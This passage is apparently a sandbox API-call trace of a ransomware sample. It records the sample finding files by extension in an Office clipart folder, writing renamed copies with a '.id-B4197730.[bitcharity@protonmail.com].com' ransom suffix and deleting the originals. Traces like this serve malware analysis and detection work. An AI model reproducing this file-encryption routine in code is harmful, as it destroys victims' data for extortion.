(lpString=".docx") returned 5 [0148.721] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.721] lstrlenW (lpString=".pdf") returned 4 [0148.721] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.721] lstrlenW (lpString=".xls") returned 4 [0148.721] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.721] lstrlenW (lpString=".xlsx") returned 5 [0148.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.722] lstrlenW (lpString=".ppt") returned 4 [0148.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.722] lstrlenW (lpString=".zip") returned 4 [0148.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.722] lstrlenW (lpString=".rar") returned 4 [0148.722] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.722] lstrlenW (lpString=".bz2") returned 4 [0148.722] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.722] lstrlenW (lpString=".7z") returned 3 [0148.722] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.722] lstrlenW (lpString=".dbf") returned 4 [0148.722] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.722] lstrlenW (lpString=".1cd") returned 4 [0148.722] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.722] lstrlenW (lpString=".jpg") returned 4 [0148.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.723] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.723] lstrlenW (lpString="AG00052_.GIF") returned 12 [0148.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0148.786] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=7686) returned 1 [0148.786] CloseHandle (hObject=0x10e8) returned 1 [0148.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0148.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.787] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.787] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0148.794] GetLastError () returned 0x0 [0148.794] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1e06, lpOverlapped=0x0) returned 1 [0148.928] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0148.929] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.929] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.930] SetEndOfFile (hFile=0x1088) returned 1 [0148.930] CloseHandle (hObject=0x1088) returned 1 [0148.933] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.933] SetEndOfFile (hFile=0x1084) returned 1 [0148.934] CloseHandle (hObject=0x1084) returned 1 [0148.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0148.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.935] lstrlenW (lpString=".doc") returned 4 [0148.935] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.935] lstrlenW (lpString=".docx") returned 5 [0148.935] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.935] lstrlenW (lpString=".pdf") returned 4 [0148.935] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.935] lstrlenW (lpString=".xls") returned 4 [0148.935] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.935] lstrlenW (lpString=".xlsx") returned 5 [0148.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.935] lstrlenW (lpString=".ppt") returned 4 [0148.935] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.935] lstrlenW (lpString=".zip") returned 4 [0148.935] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.935] lstrlenW (lpString=".rar") returned 4 [0148.935] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.935] lstrlenW (lpString=".bz2") returned 4 [0148.935] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.935] lstrlenW (lpString=".7z") returned 3 [0148.935] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.935] lstrlenW (lpString=".dbf") returned 4 [0148.936] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.936] lstrlenW (lpString=".1cd") returned 4 [0148.936] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.936] lstrlenW (lpString=".jpg") returned 4 [0148.936] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.936] lstrlenW (lpString=".doc") returned 4 [0148.936] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.936] lstrlenW (lpString=".docx") returned 5 [0148.936] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.936] lstrlenW (lpString=".pdf") returned 4 [0148.936] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.936] lstrlenW (lpString=".xls") returned 4 [0148.936] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.936] lstrlenW (lpString=".xlsx") returned 5 [0148.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.936] lstrlenW (lpString=".ppt") returned 4 [0148.936] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.936] lstrlenW (lpString=".zip") returned 4 [0148.936] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.936] lstrlenW (lpString=".rar") returned 4 [0148.936] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.936] lstrlenW (lpString=".bz2") returned 4 [0148.936] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.937] lstrlenW (lpString=".7z") returned 3 [0148.937] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.937] lstrlenW (lpString=".dbf") returned 4 [0148.937] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.937] lstrlenW (lpString=".1cd") returned 4 [0148.937] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0148.937] lstrlenW (lpString=".jpg") returned 4 [0148.937] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.937] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.937] lstrlenW (lpString="AG00120_.GIF") returned 12 [0148.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.938] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=3484) returned 1 [0148.938] CloseHandle (hObject=0x1084) returned 1 [0148.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0148.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.938] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.938] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0148.939] GetLastError () returned 0x0 [0148.939] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xd9c, lpOverlapped=0x0) returned 1 [0149.054] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xda0, lpOverlapped=0x0) returned 1 [0149.179] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.179] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.180] SetEndOfFile (hFile=0x1088) returned 1 [0149.180] CloseHandle (hObject=0x1088) returned 1 [0149.185] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.185] SetEndOfFile (hFile=0x1084) returned 1 [0149.186] CloseHandle (hObject=0x1084) returned 1 [0149.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0149.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.187] lstrlenW (lpString=".doc") returned 4 [0149.187] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.187] lstrlenW (lpString=".docx") returned 5 [0149.187] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.187] lstrlenW (lpString=".pdf") returned 4 [0149.187] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.187] lstrlenW (lpString=".xls") returned 4 [0149.187] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.187] lstrlenW (lpString=".xlsx") returned 5 [0149.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.187] lstrlenW (lpString=".ppt") returned 4 [0149.187] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.187] lstrlenW (lpString=".zip") returned 4 [0149.187] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.187] lstrlenW (lpString=".rar") returned 4 [0149.187] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.187] lstrlenW (lpString=".bz2") returned 4 [0149.187] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.187] lstrlenW (lpString=".7z") returned 3 [0149.187] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.187] lstrlenW (lpString=".dbf") returned 4 [0149.187] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.187] lstrlenW (lpString=".1cd") returned 4 [0149.187] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.188] lstrlenW (lpString=".jpg") returned 4 [0149.188] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.188] lstrlenW (lpString=".doc") returned 4 [0149.188] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.188] lstrlenW (lpString=".docx") returned 5 [0149.188] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.188] lstrlenW (lpString=".pdf") returned 4 [0149.188] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.188] lstrlenW (lpString=".xls") returned 4 [0149.188] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.188] lstrlenW (lpString=".xlsx") returned 5 [0149.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.188] lstrlenW (lpString=".ppt") returned 4 [0149.188] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.188] lstrlenW (lpString=".zip") returned 4 [0149.188] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.188] lstrlenW (lpString=".rar") returned 4 [0149.188] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.188] lstrlenW (lpString=".bz2") returned 4 [0149.188] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.188] lstrlenW (lpString=".7z") returned 3 [0149.188] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.189] lstrlenW (lpString=".dbf") returned 4 [0149.189] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.189] lstrlenW (lpString=".1cd") returned 4 [0149.189] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0149.189] lstrlenW (lpString=".jpg") returned 4 [0149.189] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.189] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0149.189] lstrlenW (lpString="AG00135_.GIF") returned 12 [0149.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0149.190] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2596) returned 1 [0149.190] CloseHandle (hObject=0x1084) returned 1 [0149.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0149.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0149.191] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.191] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0149.191] GetLastError () returned 0x0 [0149.192] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xa24, lpOverlapped=0x0) returned 1 [0149.315] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xa30, lpOverlapped=0x0) returned 1 [0149.315] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.315] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.316] SetEndOfFile (hFile=0x1088) returned 1 [0149.316] CloseHandle (hObject=0x1088) returned 1 [0149.317] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.317] SetEndOfFile (hFile=0x1084) returned 1 [0149.318] CloseHandle (hObject=0x1084) returned 1 [0149.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0149.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.318] lstrlenW (lpString=".doc") returned 4 [0149.318] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.318] lstrlenW (lpString=".docx") returned 5 [0149.318] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.318] lstrlenW (lpString=".pdf") returned 4 [0149.318] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.319] lstrlenW (lpString=".xls") returned 4 [0149.319] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.319] lstrlenW (lpString=".xlsx") returned 5 [0149.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0149.319] lstrlenW (lpString=".ppt") returned 4 [0149.319] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.319] lstrlenW (lpString=".zip") returned 4 [0149.319] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.319] lstrlenW (lpString=".rar") returned 4 [0149.319] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.319] lstrlenW (lpString=".bz2") returned 4 [0149.319] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.319] lstrlenW (lpString=".7z") returned 3 [0149.319] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.319] lstrlenW (lpString=".dbf") returned 4 [0149.319] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.319] lstrlenW (lpString=".1cd") returned 4 [0149.319] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.319] lstrlenW (lpString=".jpg") returned 4 [0149.319] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0149.319] lstrlenW (lpString=".doc") returned 4 [0149.319] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.319] lstrlenW (lpString=".docx") returned 5 [0149.319] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0149.319] lstrlenW (lpString=".pdf") returned 4 [0149.319] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.319] lstrlenW (lpString=".xls") returned 4 [0149.319] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.319] lstrlenW (lpString=".xlsx") returned 5 [0149.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 